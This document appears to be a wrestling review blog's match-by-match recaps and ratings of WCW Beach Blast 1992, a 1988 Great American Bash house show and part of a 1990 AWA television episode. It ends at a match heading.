Beach Blast 1992
Date: June 20, 1992
Location: Mobile Civic Center, Mobile, Alabama
Attendance: 5,000
Commentators: Jim Ross, Jesse Ventura

This is one of those shows that is rather widely revered among WCW fans and I’ve raved about it myself for quite a long time. I haven’t looked at it in a very long time so it feels a redo is in order. The show has quite the stacked card, including Sting vs. Cactus Jack, Rick Rude vs. Ricky Steamboat in an Iron Man match and quite the different choice of main event. Let’s get to it.

The opening sequence is just a quick rundown of what’s coming. I remember loving that muscle made of water logo as a kid and it still looks pretty nice.

Tony Schiavone and Eric Bischoff welcome us to the show and bring in Bill Watts (the boss) for a chat. He’s glad to see what is happening tonight, starting with the Light Heavyweight Title and ended with the Tag Team Titles. Yeah the Tag Team Titles are main eventing because Watts is kind of a weird guy. He also explains the big stipulations for later, which isn’t a bad idea.

Jesse Ventura is on the stage with a variety of swimsuited women. The four of them escort him down to the ring, looking as thrilled as you would expect.

Light Heavyweight Title: Brian Pillman vs. Scotty Flamingo

Flamingo, who would stick with the bird theme by becoming Raven, is challenging. They fight over a lockup to start and go absolutely nowhere early on. The grappling goes to Pillman, who gets a hammerlock and then does it again for a bonus. Flamingo makes the rope for the break as Jesse goes on a rant about not being the emcee for the bikini contest between Missy Hyatt and Madusa. Pillman isn’t having any of Flamingo throwing punches and knocks him into the corner before going with the hammerlock again.

The short armscissors stays on the arm, which Jesse dubs a wear down hold. Back up and Pillman hiptosses him into the corner as Ross reminisces about Danny Hodge. The arm cranking is on again but Flamingo manages to fight up, only to get dropkicked and tied into the ropes. Pillman knocks him out to the floor, where there are no mats because Bill Watts is kind of nuts.

Back in and Pillman goes up but stops because coming off the top is a DQ (another weird Watts rule) so Flamingo sends him through the ropes for a dive (because throwing someone over the top is a DQ and coming off the top is a DQ, but throwing yourself over the top is fine). Back in and a middle rope shot to the back gives Flamingo two before he drives some forearms into the chest.

A quick sunset flip gives Pillman two of his own but Flamingo is right back with the chinlock. That includes some cheating and commentary actually breaks down how much it helps, which is a level of dedication you don’t see very often. Pillman fights up and avoids a charge in the corner, leaving Flamingo down for a change. Not that it matters as Pillman can’t fight up and Flamingo is right back with the chinlock.

That’s reversed into a sleeper but Flamingo escapes for a double down, leaving Jesse to yell about Pillman not wearing Flamingo down enough first. We get the fifteen minute call less than fourteen minutes in and Flamingo rakes the eyes to put him down again. Flamingo goes to the middle rope (you can hear Ross having to catch himself because he’s expecting the top) but gets dropkicked out of the air.

The comeback is on with Flamingo being sent into the buckles, at least until he comes back with a powerslam (with trunks) for two. Pillman’s leg seems to be in trouble but he’s fine enough to catch Flamingo with a belly to back superplex for two more. A clothesline to the back of the head drops Flamingo again and Pillman sends him onto the ramp. Air Pillman misses though and Pillman’s face hits the ramp HARD. Back in and Flamingo drops a middle rope knee for the pin and the title at 17:30.

Rating: B. Lack of being able to go up top aside (because Watts), it was a rather awesome opener, complete with Flamingo winning clean (that’s VERY Watts) and becoming a much bigger star as a result. That being said, the Light Heavyweight Title was little more than a belt for about three people, but it did give us some pretty awesome action around this time. Rather good stuff here and one of the best of Flamingo’s career.

Here is Johnny B. Badd to start the bikini contest, with Jesse questioning if Badd even likes girls. We have three rounds, stating with evening gowns (as you wear on the beach). They both come out, they walk the ramp, Madusa is in some weird wedding dress kind of deal with a veil, you can pay to vote on the Hotline, more on this later.

The Great American Bash is coming with Sting vs. Vader and A LOT of tag matches.

Ron Simmons vs. Taylor Made Man

Schiavone and Bischoff give us a bit of a preview for this match, which seems like some major overkill. That would of course be Terry Taylor, but now he’s dressed really nicely. We get an extended set of referee’s instructions as this match is getting WAY more focus than it requires. Jesse fills in time by asking what you Simmons can open with the key to the city that he received earlier today. Simmons powers him into the corner without much trouble to start and some three point shoulders have Taylor in more trouble.

They go to the ramp where Simmons atomic drops him (no funny sell, which seems appropriate here) into a gorilla press. That lets Simmons throw him over the top and back inside, which has Jesse questioning the DQ rules as well. Back in and Simmons grabs the bearhug for a bit, only to miss another of those running tackles to send himself outside again. The chinlock with a knee in the back has Simmons in trouble but he fights back up with a spinebuster. This lets Ross talk about college football, which granted isn’t a hard path to get him to take. Back up and a snap powerslam finishes for Simmons at 7:09.

Rating: C. This was the kind of match you would see filling in time on pay per views back in the day, meaning it was watchable enough and not much more. Simmons is on his way up and felt like a big star here, which makes his World Title win a few months later all the less surprising. As for Taylor….well his entire gimmick is built around how nicely he’s dressed, so you should know where he is here.

Post match Simmons says his goal is still to be the best that he can be. It doesn’t matter what color you are or what poverty level you’re at, you can be the best if you work at it every day. That’s downright wholesome.

Greg Valentine vs. Marcus Alexander Bagwell

As usual, Ross gets to name drop Sprayberry High School, which is the one thing that they hammered in about Bagwell for years. Valentine backs him into the corner to start but gets armdragged down, much to Valentine’s annoyance. Some elbows stagger Bagwell, who is back with an atomic drop into a dropkick to send Valentine outside.

Back in and the fans approve of Valentine’s clothesline, only for Bagwell to avoid a really slow middle rope elbow. Valentine is fine enough to go after the knee but it’s too early for the Figure Four. Some rollups give Bagwell two each and a suplex gets the same as this isn’t exactly taking off. A backdrop gives Bagwell another two but Valentine kicks the knee out. The shinbreaker sets up the Figure Four to give Valentine the win at 7:17.

Rating: C-. What in the world was this doing on pay per view? You have a long established veteran like Valentine beating a much younger and more marketable star like Bagwell clean? I really don’t get this one and it was one of the bigger headscratchers that I’ve seen in a good while, even from early 90s WCW. The match wasn’t even that good as it was slow (yes, in a valentine match) and felt like it was there to fill in time.

Commentary hypes up Sting vs. Cactus Jack, Falls Count Anywhere, without actually showing Sting, or saying WHY they’re fighting. Basically Jack was one of the people Lex Luger had sent after Sting and now that Luger is gone, Sting is tying up some loose ends before having the big title defense against Vader next month.

Sting vs. Cactus Jack

Falls Count Anywhere and Sting’s World Title isn’t on the line. They go at it on the ramp to start and Sting gets an early two off a backslide. A backdrop on the ramp and a bulldog have Jack in trouble (that ramp is LOUD) but he avoids the running splash to send Sting into the ropes (rather than the barricade for a change). The elbow off the apron crushes Sting again and a sunset flip off the apron (remember, no mats) gets two more. Back up and they trade rams into the barricade until Jack is sent out into the crowd, with Sting diving onto him.

A suplex onto the concrete gets two as Ross is losing his mind at this stuff. They get in the ring for the first time and Jack takes out the shoulder, leaving Jesse stunned that they’ve been in the ring this long. We hit the bodyscissors and Jesse calls it amazing because “HE’S ACTUALLY WRESTLING!” Back up and the Cactus Clothesline sends them outside again, where Jack dents a chair over Sting’s back for a nasty visual.

As Jesse tries to figure out why in the world Sting agreed to do this, Sting belly to back suplexes Jack onto the exposed concrete for two. They do a pinfall reversal sequence on the concrete until Jack hot shots him onto the barricade. A piledriver on the floor doesn’t work as Jack’s knee gives out (with commentary being smart enough to explain why Sting is ok) and Jack’s middle rope elbow only hits concrete.

Sting fights up and slams him on the ramp, where he gets a chair of his own. A series of chair shots look to set up the Scorpion Deathlock but Jack turns it over and they crash off the ramp. The double arm DDT connects back on the ramp for a delayed two but Sting pops up and hits a running clothesline. A top rope clothesline is enough to give Sting the pin on the ramp at 11:24.

Rating: A-. This worked because it was a fight instead of a match and that’s what it needed to be. Jack was a different kind of opponent (one who didn’t care about being champion) and it made Sting go in another direction, on we hadn’t seen before. It was the most amazing thing I had ever seen in 1992 and it holds up today, with Jack looking insane and Sting going right along with him. This would have fit in perfectly in the Attitude Era, making it not only great but also ahead of its time, which is not something you often see.

Tony and Eric preview the Iron Man match. I have no idea why we need them when we already have Ross and Jesse.

Rick Rude vs. Ricky Steamboat

30 minute Iron Man match and Rude’s US Title is not on the line. Steamboat starts fast and hits a gutbuster, which has Rude in early trouble. A running shoulder to the ribs in the corner has Rude cringing, with Jesse sounding rather worried. Steamboat strikes away at the ribs, with Ross saying Steamboat is “sensing” that Rude is injured. Jesse: “WHAT DO YOU MEAN SENSING???”

We hit the bearhug, which always looks weird from someone Steamboat’s size. Steamboat takes him into the corner and Rude finally gets in a knee to the ribs for a needed breather. The injury won’t let Rude follow up though and Steamboat grabs something like a bow and arrow. That’s switched into a Boston crab and Rude is in trouble all over again.

The rope is almost reached so Steamboat lets go and drives some knees into the ribs as Jesse is not pleased with the extra viciousness here. Some kicks to the ribs have Rude in even more trouble and a gordbuster makes it even worse. Back up and Steamboat charges into a knee in the corner, with Rude grabbing a rollup with tights for the first fall at 7:42.

Rude – 1
Steamboat – 0

Rude gets smart and grabs the Rude Awakening for the second fall at 8:40 total.

Rude – 2
Steamboat – 0

Rude goes up top with a knee for a DQ at 9:50 total.

Rude – 2
Steamboat – 1

Then Rude rolls him up for the pin at 10:13 total.

Rude – 3
Steamboat – 1

We hit the reverse chinlock, which has Ventura rather pleased as it makes a good bit of sense at this point. Some knees to the back have Steamboat in more trouble and we’re right back to the reverse chinlock. This time Steamboat powers out with an electric chair drop but a splash hits raised knees. A swinging neckbreaker gives Rude two and, after absorbing some chops, he grabs a chinlock with fifteen minutes left. Another comeback is cut off by a knee to the ribs and Rude hits a nice piledriver for two. Rude tries a Tombstone but Steamboat reverses into one of his own to get things closer at 17:41 total.

Rude – 3
Steamboat – 2

Rude goes up again but gets superplexed down, which isn’t a DQ because….well because these rules are stupid and make things far more complicated than they need to be. A very delayed cover gives Steamboat two and it’s a double clothesline to leave them both down. They bridge into a backslide and Steamboat ties it up at 20:23 total.

Rude – 3
Steamboat – 3

Steamboat is fired up and tries some more rollups until Rude cuts him off with a needed jawbreaker. Back up and Rude sends him face first into the mat a few times before shouting about how Steamboat is NOT an iron man. Steamboat chops away but gets hit in the eyes. Ross: “Every time Rude gets in trouble, he goes to the eyes!” Ventura: “That’s because it works.” Rude makes sure to pose (Ventura approves as you might expect) and we hit a lot of choking on the ropes.

The Rude Awakening is blocked though and Steamboat hits his own version for two with Rude putting his foot on the rope. We have five minutes left as Steamboat gets two off a suplex. A belly to back suplex gets two more but Rude is back up with a sleeper as we have four minutes left. Rude climbs on his back and Steamboat stays up for a good long while, leaving Rude to kick away at the arms to block a rope grab (that’s smart).

Steamboat finally falls down with two minutes left but his arm stays up like a good hero’s should. The referee actually checks Steamboat’s eyes (that’s a new one) but the arm stays up again. Steamboat fights up and climbs the ropes to drop back on the bad ribs, giving him a quick pin at 29:26.

Steamboat – 4
Rude – 3

Rude is up with a clothesline for two, a shoulder for two, another clothesline for two, a small package for two and a slam for two, all in the last 34 seconds (geez), as time expires at 30:00.

Rating: A-. This was great and played into the Iron Man style perfectly well. There is almost nothing in wrestling that is as guaranteed to work as well as Steamboat making a comeback and that is what he was doing for most of this match. Rude was at his best here and felt like a killer, with that last burst having me wanting to see Steamboat hang on. Great stuff here and one of the better Iron Man matches I’ve seen.

It’s time for round two of the bikini contest, with Missy Hyatt wearing a bikini, despite the third round being the bikini round. Did no one think these rules through?

Dustin Rhodes/Barry Windham/Nikita Koloff vs. Dangerous Alliance

It’s Steve Austin/Arn Anderson/Bobby Eaton, with Paul E. Dangerously and Ole Anderson is special troubleshooting referee. Windham and Austin start things off with the former grabbing a hammerlock to take him down early on. Dustin comes in to stay on the arm before mixing it up with some dropkicks. An armbar sends Austin into the corner for the tag to Eaton as dang there is a lot of talent in here. Eaton knees him in the ribs and grabs a rollup for two before it’s off to Arn.

Koloff gets slapped in the face to bring him in and Arn quickly takes him down for a knee to the face. Back up and Koloff clotheslines Arn over the top, which leads to ANOTHER discussion about a rule involving the top rope. My goodness either make the rules clear or drop the stupid things. Arn gets back in but the Alliance is cleared out in a hurry, meaning it’s time for Dangerously to call for PLAN #2!

Back in and Windham atomic drops Arn but they ram heads for a double knockdown. It’s Arn up first and he charges into a boot in the corner, leading to another double down. Dustin comes back in to fire off some right hands, only for Arn to send him head first into Eaton (yes, Arn can be mean to his partners). Back up and Eaton is fine enough to wrap Dustin’s knee around the post before going after the arm. The villains get to take turns on Dustin, with Jesse yelling about Ole’s count being slow (as Jesse tended to do).

Eaton’s DDT on the arm sets up another hammerlock as this is not exactly thrilling stuff. It works so well that Arn comes back in to work on an armbar of his own. Dustin fights up and sends Arn head first into Eaton for a change (which is funny in a cruel way). Arn is right back up with a Stun Gun…but Dustin bounces over for the tag to Windham for the house cleaning. Everything breaks down and Windham hits the superplex on Austin but Arn makes the save…by coming off the top for the DQ at 15:31.

Rating: C+. You know, for a match with this kind of talent involved, you would expect that much more, but this only had some moments which were reaching the potential. The Alliance was not exactly in a good place at this point, but dang the people involved made it work to a certain extent. What did not work to an extent is the stupid top rope rule, which feels like WCW cutting things off before they get too fun, because we wouldn’t want that.

Post match the fight continues with the Alliance being cleaned out.

Ricky Steamboat is on the platform with Eric Bischoff and thanks the fans for standing by him in recent months. Tonight he showed that the Dangerous Alliance cannot dodge him anymore. Now he wants the US Title, but here is Paul E. Dangerously to say Steamboat has received his last title shot. Then Cactus Jack pulls Steamboat down and the fight is on, making me want to find their TV match because HOW COULD IT NOT BE GREAT?

Jesse Ventura joins Johnny B. Badd (now a sheriff) for the bikini round of the bikini contest, but stops to ask if Badd likes girls. Madusa goes first (not looking happy about it) and Missy….doesn’t go, because someone has stolen her bikini. Since she’s rather crafty, she steals Ventura’s scarf and turns it into a bikini.

Badd declares Missy the winner but Madusa slaps him into her own tent…and he comes out carrying her suit. Ventura goes into Madusa’s tent, then sticks his head out to declare Madusa the winner, hands down. Well that was creepy. Oh and we don’t get the OFFICIAL winner until tomorrow on Main Event, because WCW.

Tony Schiavone and Eric Bischoff hype up Cactus Jack vs. Ricky Steamboat and throw us to the main event.

Tag Team Titles: Steiner Brothers vs. Terry Gordy/Steve Williams

The Steiners are defending while Gordy and Williams are the new monsters from Japan. Gordy and Scott go to the mat to start and Gordy has to go to the rope immediately. Scott wrestles him down again and Gordy goes to the rope again as they’re taking their time to start. With the wrestling not working for Gordy, he switches to hitting Scott in the face, which goes as badly as you would expect.

Everything breaks down for a second but we settle back down before things get too exciting (just not the WCW way a lot of the time). Williams comes in and you just know Ross is right there with every college accolade he can throw in. Naturally they go with the amateur wrestling as we get the five minute all just under four minutes in. Williams misses a charge into the corner but blocks a suplex, leaving Scott to sunset lip him instead. Rick comes in and we actually get a rare Varsity Club reference.

They lock up in the corner as Ventura can’t believe the idea of Rick having a degree in education. Rick manages to get a suplex and Williams needs a breather on the floor. Back in and Williams runs him over with some football tackles, and yes Ross knows Williams’ football number from Oklahoma. A Steiner Line only gets Rick so far as it’s back to Gordy. Rick suplexes him as well but Williams comes back in and plows through Rick to send him outside. A sunset flip back in gives Rick two but Gordy is right back with a half crab as the slow pace continues.

They fight over the leglocks until Rick manages a suplex, allowing the tag back to Scott. Not to be outdone, Scott ties up Gordy’s leg and they roll around a bit. Williams comes back in but can’t send Scott head first into the buckle so they grapple against the ropes some more. Some double teaming slows Scott down and Williams kicks the knee out, which even Ventura admits was a bit rough.

Gordy and Williams take turns working on the leg, with Ventura almost sounding scared by the idea of Williams being nicknamed Dr. Death back in junior high. Scott starts fighting up but gets kicked in the knee, just in case the fans had something to care about. Gordy ties the legs up again before it’s back to Williams for some slaps to the face. The half crab keeps things slow and Williams hands it back to Gordy for a half crab of his own.

Williams comes back in for a full crab but this time Scott gets up and makes the tag to Rick. House is actually cleaned, with the middle rope bulldog dropping Williams. Gordy offers a distraction though and Williams hits a heck of a clothesline. The middle rope powerslam gets two on Rick as the fans get back into things. A shoulder gives Williams two more as we have less than five minutes.

Gordy’s suplex gets two as commentary tries to make this sound more interesting than what we’re seeing. Williams grabs a reverse chinlock, again stomping out that pesky excitement factor at all costs. The Doctor Bomb gives Williams two and the front facelock goes on again. The Oklahoma Stampede is broken up though and they’re both down. One heck of a Steiner Line drops Gordy and we have a minute left with both of them down again. Rick finally gets over to Scott to pick up the pace as everything breaks down. A butterfly powerbomb sets up the Frankensteiner but time expires at 30:00 (28:22 actually).

Rating: B-. I’ve seen this match a few times now and it still does not work. It feels like a match where they’re trying to keep things from being interesting and go with grappling and holds. That can be interesting in certain styles but this felt like they were going for dull for whatever reason. It doesn’t help that Gordy and Williams would win the titles a few weeks later, then win the NWA Tag Team Titles as well, because Bill Watts LOVED these guys. It’s certainly a style, but it’s not a style that was going to work in the 90s.

Eric and Tony wrap us up. I’m still not sure why they were here other than Eric’s job title.

Ross and Ventura wrap us up and the credits roll.

Overall Rating: B+. There is a great show in there, with the Iron Man match and Sting vs. Cactus Jack both being instant classics. Your mileage in the main event will vary pretty hard but it wasn’t the worst match. Throw in a good opener and some other decent enough matches and this was one of the best WCW shows in history. Just mix the show up so that the order makes some more sense and figure out that STUPID top rope stuff and it could be even better.

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Great American Bash 1988 Greensboro
Date: July 16, 1988
Location: War Memorial Stadium, Greensboro, Coliseum
Attendance: 7,500

The Great American Bash wasn’t just a full on pay per view at first, but also a tour of house shows. This is one of them, as we are in one of the bigger Crockett cities. The main event here is WarGames, which had debuted twelve days prior and was done quite a bit during the tour. Let’s get to it.

Bugsy McGraw/Tim Horner vs. Rip Morgan/Larry Zbyszko

It’s always so strange to have A, no commentary, B, two rings, and C, Teddy Long (referee here) with hair. Morgan grabs the mic to shout a lot and jump up and down before Larry takes Bugsy down but misses a bunch of elbows to the fans’ delight. Bugsy drives him into the corner and grabs a headlock before Horner comes in for a few shoulders. The slightly out there Morgan tries his luck and takes Horner down into a quickly broken chinlock.

It’s back to Bugsy to start working on Morgan’s arm (the hair pull helped too) but Morgan takes him into the corner for the tag back to Larry. We get the always classic referee misses the big tag spot and Morgan elbows McGraw down again. Bugsy gets in a shot to the face though and grabs the rope to avoid Larry’s dropkick (yes Larry’s dropkick), allowing the hot tag to Horner. Everything breaks down and Horner hits a quick crossbody to finish Morgan at 8:07.

Rating: C. Totally watchable match here but what matters most is how it was a hot enough opening match. You don’t want to take too much time in a spot like this and they got through things rather well here. Horner wasn’t the best in the world but he was able to come in off a hot tag and clean house, which is almost all he was here for. Not a great match, but an efficient one and that’s a good thing.

Ronnie Garvin vs. Italian Stallion

Garvin is freshly heel and now managed by Gary Hart. Stallion knocks him down to start and Garvin grabs his ankle. That’s enough to have the referee slow things down a bit, but Garvin comes up with the Hands of Stone for the pin at 1:13. Just a way to establish that Garvin is a changed man.

Dick Murdoch vs. Gary Royal

Royal hits him in the face to start so Murdoch takes it into the corner. A headlock manages to get Murdoch down onto the mat and Gary cranks away for a bit. Murdoch gets out using some cheating so it’s time to yell at referee Teddy Long, which could be quite the interesting argument.

Royal gets driven into the corner for some shots to the face but a dropkick puts Murdoch on the floor. That’s enough of this being in trouble thing for Murdoch as he knocks Royal around without much trouble and takes him outside for a whip into the scaffolding (yeah we have a scaffold match coming). Back in and Murdoch stomps away before finishing with the brainbuster at 7:01.

Rating: C-. Murdoch really was good at almost anything he did and it is easy to see why he is as revered as he is by so many people. He knows how to make the fans care about him and is so smooth at everything he does. This was just a squash for the most part but Murdoch managed to make that work, which is quite the impressive feat.

Jimmy Garvin vs. Rick Steiner

Precious is here with Garvin. Steiner mauls him down to start, as Steiner had a tendency to do. Garvin fights up and slugs away but has to stop as Kevin Sullivan goes after Precious (that’s a LONG story) to a crazy reaction. Back in and Garvin rolls him up for the pin at 1:25. That was surprisingly short.

Sheepherders vs. Rock N Roll Express

That would of course be the Bushwhackers with Rip Morgan as their flag bearer. We hit the stall button to start, with the Bushwhackers messing with their flag and then telling the fans to shut up. Pain is promised to the Americans so Ricky Morton grabs the mic and tells the Sheepherders what they can kiss. The Express finally jumps them about two and a half minutes after the bell and the ring is cleared in a hurry.

We settle down into the first lockup almost four minutes in and it’s Butch sending Gibson into the corner for the early tag to Luke. A knee to the ribs cuts Gibson off again but he nails a right hand to take over. Butch hits Luke by mistake and Morgan takes out his friends, meaning the Express can pose early. We settle down to Morton in trouble but sliding through Luke’s legs for a dropkick.

The Sheepherders are sent into each other and it’s time to bail again as things settle a bit. Back in and Gibson hits a crossbody on Luke but Morgan has the referee, allowing Butch to get in a flag shot for the save. They go outside with Gibson being driven into the apron and then it’s back inside for stomping. A chinlock doesn’t last long so it’s a double clothesline to drop Gibson again.

The fans start up their ROCK N ROLL chant as Gibson gets in a few shots, only to be pulled down into a chinlock. Gibson fights up again and gets over to Morton for the hot tag (that feels so wrong). Everything breaks down with Morton getting posted on the floor as Gibson has Butch in a sleeper. The double gutbuster plants Gibson but he manages to send them together, allowing Morton to high crossbody Butch for the pin at 14:06.

Rating: B-. This is a perfect illustration of how to take a rather basic match and get the fans going nuts to set up a hot ending. That’s what they had here, with very little contact for almost the first five minutes and then they got into the meat of the match. The fans were with them the entire way because they cared about the teams and wanted to see the Express make the comeback. Good match, but much more of a lesson in how to do this, as the high spots were a dropkick and a high crossbody. Today, it would be called boring, because less is more is a lost concept.

Al Perez vs. Brad Armstrong

Perez has Gary Hart in his corner. Feeling out process to start with both guys shoving the other around. Armstrong grabs a wristlock and a monkey flip doesn’t even break the grip. Perez can’t armdrag his way out of an armbar so Armstrong armdrags him into another armbar. That works so well that Armstrong stays on it as we hit the five minute mark. Armstrong has to go after Gary Hart though and Perez sends him into the scaffolding to take over.

Back in and Perez hits what would become known as the Eye of the Storm for two and the chinlock goes on. With that not working, Perez goes with knees to the back (Armstrong: “OH S***!”) but the referee calls it off for being in the ropes. Armstrong’s backslide gets two so Perez throws him outside in a heap. Perez follows him out and gets elbows in the face so Armstrong heads back in. A suplex brings Perez back in and Hart sweeps the leg to give Perez the pin at 11:17 (that was the most telegraphed ending I have seen in years).

Rating: C. It wasn’t too bad here as Armstrong is always worth a look and Perez is someone who could have become something but never went beyond the midcard. I’m not entirely sure why, but I could have seen both of these guys going a bit higher than they did. Nice match though, even with the really obvious ending.

Fantastics vs. Midnight Express/Jim Cornette

The Midnight’s US Tag Team Titles aren’t on the line and I’m going to go out on a limb and say this is going to be the best thing all night, or at least so far. This is a Bunkhouse match, meaning anything goes. Cornette looks ridiculous in the body suit of course but you can see the look in his eyes that he is having the time of his life out there. Eaton and Cornette have their hug to start with Cornette kissing him on the cheek, so Rogers thinks Cornette should start for the team. Cornette: “I AIN’T GETTING IN THERE! YOU PEOPLE SHUT UP! I AIN’T GETTING IN THERE!”

The Bobbys start things off instead with Eaton getting in a right hand but stopping to celebrate, allowing Fulton to tag him with some right hands. Eaton hits a knee to the face but gets backdropped down, leaving Cornette to grab a chair on the floor. That earns him a chase from Rogers who clears the ring, setting up the strut. Cornette: “WHAT ARE WE GOING TO DO???” Back in and Eaton hits Fulton with one of his great right hands and grabs a chair, only to get atomic dropped down onto it.

Fulton blasts Eaton with the chair and everything breaks down (as it should) with Rogers wearing Eaton out with the chair. Cornette and Stan get the chair and go over to check on Eaton as the panic continues. For some reason Eaton tries to tag Cornette before coming to his senses and bring Lane in instead. That’s fine with Rogers, who dropkicks him down a few times and mocks Cornette’s bravery. Lane tries to toss Rogers, who skins the cat and comes back in with more dropkicks.

Cornette bails from a possible tag again so Lane grabs him by the shirt, sending Cornette into pure panic because he might be about to die. Rogers breaks that up and gets sent outside, where Cornette throws a chair at him to get back in the Midnights’ good graces. Rogers gets dropped again and Cornette hits his own strut, leaving Lane to choke Rogers on the floor. Now Cornette is willing to come in and drop some elbows but Rogers stares him down after the right hands.

Cornette tries a quick handshake but gets driven into the corner where Lane can come back in (not the best aiming from Rogers). An atomic drop into a backbreaker puts Rogers down again and Cornette comes back in for some right hands with a chained fist. Cornette’s slam attempt doesn’t work so Eaton comes in to do it for him, leaving Cornette to pose anyway (that’s great).

The Rocket Launcher connects but Cornette wants the pin, which takes too long and includes too much posing, allowing Rogers to toss him hard on the kickout. The hot tag brings in Fulton to clean house and Cornette’s powder hits Eaton by mistake. A double clothesline pins Cornette at 15:09.

Rating: B. This was a lot of fun and so much of that is due to the great chemistry that the Midnights and Cornette had. They were so perfect together and Cornette’s moments of panicking at the idea of being in trouble but then getting so cocky in a hurry was great. Really fun match here and the place was going coconuts over some of the spots and chances for Cornette to get destroyed.

TV Title: Sting vs. Mike Rotunda

Rotunda, with Kevin Sullivan and Rick Steiner, is defending and EGADS the place goes nuts for Sting. Yeah I’m thinking he’ll be fine. Sting starts fast with some dropkicks, including one to Steiner to clean house in a hurry. Rotunda bails out to the floor but gets back in where he has to escape a Scorpion Deathlock attempt. It works so well that he has to do it a second time so Sting settles for a headlock instead. This time Rotunda sends him outside for a beating from Steiner and Sullivan, followed by a clothesline back inside.

We hit the chinlock to keep Sting in trouble and Rotunda makes sure to get a foot on the rope. An elbow to the face sets up the chinlock sequel but Rotunda goes up top for some reason. Since that leaves Rotunda looking like a fish on a bicycle, Sting slams him down and sends him into the other ring. There’s the big dive over the ropes and Sting is all fired up. The right hands in the corner set up the Stinger Splash but the Varsity Club comes in for the DQ at 10:16.

Rating: C. As usual, the action wasn’t the best part here but the fans were going nuts over everything Sting did. You could see that he was a hue star and he would eventually get the title early in 1989. First up though we had to see Rick Steiner taking it from Rotunda in one of the most underrated moments in the history of the NWA/WCW.

Road Warriors vs. Ivan Koloff/Russian Assassin #1

This is a scaffold match and the Warriors have Paul Ellering while the Russians have the eternally useless Paul Jones. The Russians start throwing powder, which is hardly safe. They slug it out in a hurry with Ivan already having to hang on while his legs dangle over the side. The same thing happens to Animal but he gets back up for a dropkick (Ok it was terrible but EGADS MAN!), which has Ivan in more trouble.

A bunch of stomping has Ivan hanging on the bottom of the scaffold and there he goes for the elimination. That leaves Assassin and Hawk fighting on the other end of the scaffold but Ivan comes up to choke Hawk with a chain. Hawk and Assassin start climbing down and Hawk knocks him off to win at 5:34.

Rating: D+. I’m never sure what to think of a match like this as it isn’t exactly a wrestling match, or at least certainly not a traditional one. The guys were doing what they could (and as someone scared of heights, I can’t get over that dropkick) but they had a pretty firm limit and that is ok given how hard it is to do something like this.

Four Horsemen vs. Dusty Rhodes/Paul Ellering/Lex Luger/Nikita Koloff/Steve Williams

And now, WarGames, which only debuted about two weeks ago. In case you don’t know the rules, you have five men per team and each one will send in a man each for a five minute period. After two minutes, the heels will win a coin toss to gain the advantage, meaning they will be able to send in their second man for two minutes. Then the good guys will tie it up for two more minutes. The teams alternate until everyone is in and it is the first submission wins.

Arn Anderson and Dusty Rhodes start things off with Dusty easily winning the early slugout. The big elbow has Anderson freaking out in the corner so let’s try a different ring. Dusty is right there with a running DDT and he sends Arn into the cage for the first time. Arn goes into the cage over and over and the blood is already flowing. Some shots to the leg put Dusty down though and Arn punches him into the other ring. Dusty punches him out of the air though and puts on the Figure Four until the Horsemen win the coin toss.

Barry Windham goes in for the Horsemen but Dusty lets go of the Figure Four want is waiting on him. Anderson gets in a cheap shot from behind though and Dusty gets caught in Windham’s claw. Choking and clawing ensue and it’s Williams coming in to even things up. Football tackles abound and Dusty is back into it (which doesn’t make the claw look like the most devastating hold).

Flair comes in to give the Horsemen the advantage back though and it’s time to send the good guys into the cage. Dusty is busted open and you know the Horsemen know how to go after that. Luger comes in to even things up again and it’s time to clean house but Flair hits him low. The chops in the corner just wake Luger up (as always) though and he cleans house again, including the right hands in the corner to Flair.

It’s Tully Blanchard in to give the Horsemen another advantage and he finds a chair to beat on Luger and Windham. Flair and Anderson start in on Luger’s knee, followed by a DDT to plant him hard. Nikita Koloff (who should not have hair) comes in and it’s Russian Sickles a go-go.

The right hands in the corner rock Flair (he took those so well) and it’s a lot of punching until JJ Dillion is in to complete the Horsemen team. That means a barrage of eye rakes and choking but Nikita gets in in the corner and unloads with mostly reckless abandon. Arn has Luger in some kind of leglock as Ellering comes in to complete everything. Everyone brawls until JJ misses a dropkick and Dusty grabs the Figure Four for the submission at 21:07.

Rating: B. It isn’t as great as the famous one from the 4th of July but this was a house show and they probably had done half a dozen of these by this point. How much of an effort are they going to put into making this one feel special? It is still a brand new match and something that felt like a spectacle, so going with a basic punch/choke/leglock formula here worked out fine.

Overall Rating: B. This was a heck of a fun show with some rather good matches and nothing bad. Above all else, it was great to see a house show with such a hot crowd who was into anything these people were going. The talent was there and it felt like an important show. Good stuff here and I can see why this was such a hot promotion at the moment. Compare this to Wrestlemania II from a few months earlier and the difference is all the more obvious. Check this out if you get the chance.

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AND

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IMG Credit: WWE

AWA All Star Wrestling
Date: February 17, 1990
Location: Mayo Civic Center, Rochester, Minnesota
Commentators: Greg Gagne, Ralph Strangis

The AWA is a promotion that has never done much for me but someone wanted me to look at something from their final year. This is in no way representative of what they were capable of doing and the promotion is basically dead on its feet at this point. I’m not sure what this is going to look like but it isn’t likely to be good. Let’s get to it.

We have a big cage match main event but the Trooper (better known as the Patriot) cannot be here because his parents were in a car wreck. The match is still taking place but Paul Diamond will need to find a new partner.

DJ Peterson vs. Jimmy Magnum

Peterson is being pushed as a young guy with a lot of potential. They circle each other a bit until Peterson takes him down by the leg. The cranking is on, followed by a legdrop between the legs. The leg is tied together with Peterson ripping at the face as we hear about AWA World Champion Mr. Saito defending the title in Moscow. I’m a bit dubious on that. Peterson hits a suplex and a top rope shoulder, setting up a Sharpshooter (with Peterson kneeling) for the submission at 2:58. Peterson looked muscular but there were a lot of people who could have done the same thing.

Eric Bischoff interviews Paul Diamond about the main event and he has an idea for a partner. That would be former Olympian Brad Rheingans, who seems to have some issues with the Destruction Crew and would love some revenge.

Larry Zbyszko vs. The Cobra

Larry is a big deal around here (not an interesting one, but still big) and the Cobra is your generic masked guy. Commentary brags about the AWA’s gate at the Tokyo Dome being bigger than Mike Tyson vs. Buster Douglas the next night. I’d love to see some non-AWA proof of that. Or proof that it wasn’t a New Japan show with an AWA match included. Larry drives him into the corner to start and hammers away, followed by the choking on the mat. A suplex connects and Larry rants about how unfair it was to lose the World Title to Saito. The piledriver finishes Cobra at 2:00. Total squash.

Post match Larry rants about thinking Charles Darwin being a crock but then he saw the Japanese and knew what Darwin meant by the slime of the earth. Larry rants about Japanese cars and knowing that he is the real World Champion.

Next week, Larry Zbyszko vs. Nikita Koloff in a Team Challenge Series (rather long and complicated series of matches with the roster divided into teams and the most points winning) match. We see some clips of the match that set it up…..I think. Commentary makes it sound like this is the match we’ll be seeing next week.

Nikita Koloff vs. The Annihilator

